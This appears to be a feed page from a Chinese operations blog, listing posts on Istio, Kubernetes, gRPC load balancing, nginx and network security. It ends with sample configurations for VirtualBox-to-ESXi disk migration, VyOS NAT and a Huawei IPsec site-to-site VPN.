sklinux@qq.com (SK) — Thu, 20 Jun 2019 00:00:00 +0000

在服务网格后服务与服务之间的流量走向不再是默认k8s原来的走向路径了。具体表现可以对比在后端是GRPC多副本互相调度的时候，通过传统的SVC到iptables转发后端pod会发现流量不均衡的情况。启用网格后，然后定义好DestinationRule的轮训规则后。可以达到后端负载比较均匀。

Grpc在kubernetes集群中的负载均衡

sklinux@qq.com (SK) — Tue, 18 Jun 2019 00:00:00 +0000

很多人觉得，在Kubernetes中不是只要用 Service就可以做负载均衡了吗？SVC确实有负载均衡的作用。它是由Kube-proxy提供，但是由于Grpc的特性没有办法让它很好的处理负载均衡。

Nginx开启http2

sklinux@qq.com (SK) — Thu, 13 Jun 2019 00:00:00 +0000

h2有很多好处，比如流量更小、tcp连接数更少、多路复用、服务器推送、头部压缩等。所以在nginx上开启h2

在istio中部署tls网关

sklinux@qq.com (SK) — Mon, 10 Jun 2019 00:00:00 +0000

在istio中部署进入https流量网关，并且支持多虚拟主机域名以及自己定义上传证书。

zk在k8s中的部署

sklinux@qq.com (SK) — Wed, 05 Jun 2019 00:00:00 +0000

ZooKeeper 基础 Apache ZooKeeper是一个分布式的开源协调服务，用于分布式系统。

k8s上使用nfs

sklinux@qq.com (SK) — Tue, 04 Jun 2019 00:00:00 +0000

在k8s上部署一些持久化数据的时候，nfs是非常方便的、便宜的、高效的一种存储介质。

kubernetes增加计算节点

sklinux@qq.com (SK) — Tue, 04 Jun 2019 00:00:00 +0000

在日常运维过程中对kubernetes集群中的计算节点进行增加删除节点是很平常的事情。下面记录下如何增加节点。

DNS预获取提升页面载入速度

sklinux@qq.com (SK) — Fri, 31 May 2019 00:00:00 +0000

DNS Prefetch，即DNS预获取，是前端优化的一部分。一般来说，在前端优化中与 DNS 有关的有两点：一个是减少DNS的请求次数，另一个就是进行DNS预获取。

mysql-5.7密码

sklinux@qq.com (SK) — Fri, 31 May 2019 00:00:00 +0000

mysql5.7后，默认会初始化一个随机密码在日志文件中。

去域名-加速你的移动APP访问

sklinux@qq.com (SK) — Fri, 31 May 2019 00:00:00 +0000

目前市面上很多移动端加速产品。但是都是基于sdk这种，然后劫持请求回边缘CDN节点。做链路加速，这种产品在一定程度并不能加速你的移动app。

微服务部署方案对比

sklinux@qq.com (SK) — Fri, 31 May 2019 00:00:00 +0000

目前有很多用于部署的技术，有的简单、有的复杂、有的得停机、有的不需要停机即可完成部署。

istio-ingress-sds的一些障碍绕行方法

sklinux@qq.com (SK) — Tue, 28 May 2019 00:00:00 +0000

1.通过官网的by step 使用ingress-gateway发布ssl始终不成功，但是ingress-gateway的http服务暴露ok。

2.决定使用曲线救援方法，在外侧通过nginx来发布tls，内部回源使用http，但是遇见了http 426的错误。

istio服务网格生产环境ingress网关部署SSL实战

sklinux@qq.com (SK) — Tue, 28 May 2019 00:00:00 +0000

服务网格实战之SSL服务发布

在生产环境将Istio做完Ingress Gateway的时候，要将SSL部署的情况。

K8S 1.14安装

sklinux@qq.com (SK) — Mon, 27 May 2019 00:00:00 +0000

手工安装kubernetes1.14集群
事前准备：
1.关闭所有节点的swap
2.关闭防火墙
3.如果存在selinux请关闭

基于TLS1.3的微信安全通信协议mmtls介绍

sklinux@qq.com (SK) — Thu, 16 May 2019 10:58:18 +0800

　　随着近些年网络安全事情的频繁发生，使得用户对网络通信安全的意识越来越强。国内外的网络服务提供商都逐渐提供全站的安全通信服务，如国内的淘宝、百度先后宣布已经完成了全站部署https。

aws-vpc简介

sklinux@qq.com (SK) — Thu, 28 Mar 2019 00:00:00 +0000

Amazon VPC (Virtual Private Cloud) 是AWS的网络基础设施。使用VPC服务可以在AWS中创建一个独立隔离的网络，在这个隔离的网络空间中可以创建任何AWS资源，例如EC2、Redis、RDS数据库等等，VPC网络使这些AWS资源互相连接，传递数据，并且提供外网访问的网关。

僵尸网络 Mirai 新变种来袭，企业成新目标

sklinux@qq.com (SK) — Tue, 26 Mar 2019 00:00:00 +0000

臭名昭著的 IoT/Linux 僵尸网络 Mirai 出现新变种，杀伤力更强。

apollo配置中心新增自定义环境

sklinux@qq.com (SK) — Thu, 28 Feb 2019 00:00:00 +0000

Apollo（阿波罗）是携程框架部门研发的分布式配置中心，能够集中化管理应用不同环境、不同集群的配置，配置修改后能够实时推送到应用端，并且具备规范的权限、流程治理等特性，适用于微服务配置管理场景。

HTTPS连接过程以及中间人攻击劫持

sklinux@qq.com (SK) — Mon, 25 Feb 2019 00:00:00 +0000

一、HTTPS连接过程及中间人攻击原理

普罗米修斯监控

sklinux@qq.com (SK) — Fri, 04 Jan 2019 00:00:00 +0000

Prometheus是由SoundCloud开发的开源监控报警系统和时序列数据库(TSDB)。Prometheus使用Go语言开发，是Google BorgMon监控系统的开源版本。

开源APM业务性能剖析系统架构

sklinux@qq.com (SK) — Sat, 29 Dec 2018 00:00:00 +0000

以前用过不少apm产品，最近我们开始使用elastic出品的免费开源APM。

DAI原理及应用

sklinux@qq.com (SK) — Fri, 14 Dec 2018 00:00:00 +0000

在一个局域网中，网络安全可以通过多种方式来实现，而采取DHCP snooping（DHCP 防护）及DAI 检测（ARP 防护）这种技术，保护接入交换机的每个端口，可以让网络更加安全，更加稳定，尽可能的减小中毒范围，不因病毒或木马导致全网的瘫痪。

企业私有Harbor仓库

sklinux@qq.com (SK) — Fri, 26 Oct 2018 00:00:00 +0000

我们在研发、测试、生产环境使用Harbo已经1年多了，现在推荐给大家使用。

优化nginx静态资源

sklinux@qq.com (SK) — Fri, 26 Oct 2018 00:00:00 +0000

通过对一些静态资源简单的设置，例如设置静态资源的过期时间、以及压缩，可以减少网站的加载时间，同时也能减少服务器的带宽。

Mikrotik路由安全防范设置

sklinux@qq.com (SK) — Wed, 24 Oct 2018 00:00:00 +0000

近期互联网整对Mirotik系列路由器做了大规模的渗透和入侵，所以提供给大家ros安全加固方法：

linux文件系统高级权限属性

sklinux@qq.com (SK) — Fri, 19 Oct 2018 00:00:00 +0000

最近在cu论坛看见有同学在问，如何给一个目录设定root都不能删除的权限。

其实linux有高级权限，除了0777的权限位还有更高级的权限控制。

k8s抓取pod网络包

sklinux@qq.com (SK) — Tue, 25 Sep 2018 00:00:00 +0000

在 Kubernetes 的实际使用中，我们经常需要配合业务调查问题，对于微服务来说，这个问题更多的是查看 API 的调用情况，这些API或者采用 RPC 协议或者是采用 HTTP 的协议。这两种协议都是基于 TCP 的协议，所以一般我们会到容器中使用 tcpdump 工具来抓包，然后就地或者拿出来放到 wireshark 图形化软件里面分析。

复习-12Factor方法论

sklinux@qq.com (SK) — Wed, 20 Sep 2017 00:00:00 +0000

今天继续复习了一下12Factor方法论，更深一步了解其精华所在：

varnish替换squid的原因

sklinux@qq.com (SK) — Thu, 25 Jul 2013 00:00:00 +0000

varnish替代squid的主要原因是因为squid不支持多核cpu，以及一些对象清理的问题。

VirtualBox 虚拟机镜像迁移到 ESXi

sklinux@qq.com (SK) — Mon, 01 Jan 0001 00:00:00 +0000

#vbox
VBoxManage clonehd T13.vdi t.vmdk --format vmdk --variant standard
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
Clone medium created in format 'vmdk'. UUID: d26df585-6358-454d-aec2-8ee09bb40643

#esxi
vmkfstools -d thin -i t.vmdk t13.vmdk
Destination disk format: VMFS thin-provisioned
Cloning disk 't.vmdk'...
Clone: 100% done.

VyOS 站点到站点（Site-to-Site）VPN 配置

sklinux@qq.com (SK) — Mon, 01 Jan 0001 00:00:00 +0000

r1: set interfaces ethernet eth0 address 192.168.12.1/24 set protocols static route 0.0.0.0/0 next-hop 192.168.12.2

r2: set nat source rule 100 description “to internet” set nat source rule 100 source address 192.168.12.0/24 #nat set nat source rule 100 outbound-interface eth0 set nat source rule 100 translation address masquerade

#set nat source rule 10 outbound-interface ’eth0' #set nat source rule 10 source address ‘192.168.1.0/24’ #set nat source rule 10 translation address ‘masquerade’

华为设备 IPsec VPN 配置

sklinux@qq.com (SK) — Mon, 01 Jan 0001 00:00:00 +0000

#R1
#
acl number 3100  
 rule 5 permit ip source 192.168.10.0 0.0.0.255 destination 10.192.0.0 0.0.0.255
 
#
ipsec proposal pro1
#
ike peer r4 v1
 pre-shared-key simple sklinux
 remote-address 122.0.34.4
#
ipsec policy r1 10 isakmp
 security acl 3100
 ike-peer r4
 proposal pro1
#
...
#
interface GigabitEthernet0/0/0
 ip address 120.0.12.1 255.255.255.0 
 ipsec policy r1 #接口下应用ipsec策略
#
interface GigabitEthernet0/0/1
 ip address 192.168.10.254 255.255.255.0 
#
interface NULL0
#
ip route-static 0.0.0.0 0.0.0.0 120.0.12.2
#

#R4

#
acl number 3100  
 rule 5 permit ip source 10.192.0.0 0.0.0.255 destination 192.168.10.0 0.0.0.255
 
#
ipsec proposal pro1
#
ike peer r1 v1
 pre-shared-key simple sklinux
 remote-address 120.0.12.1
#
ipsec policy r4 10 isakmp
 security acl 3100
 ike-peer r1
 proposal pro1
#
...
interface GigabitEthernet0/0/0
 ip address 122.0.34.4 255.255.255.0 
 ipsec policy r4  #接口应用ipsec策略
#
interface GigabitEthernet0/0/1
 ip address 10.192.0.254 255.255.255.0 
#
interface NULL0
#
ip route-static 0.0.0.0 0.0.0.0 122.0.34.3
#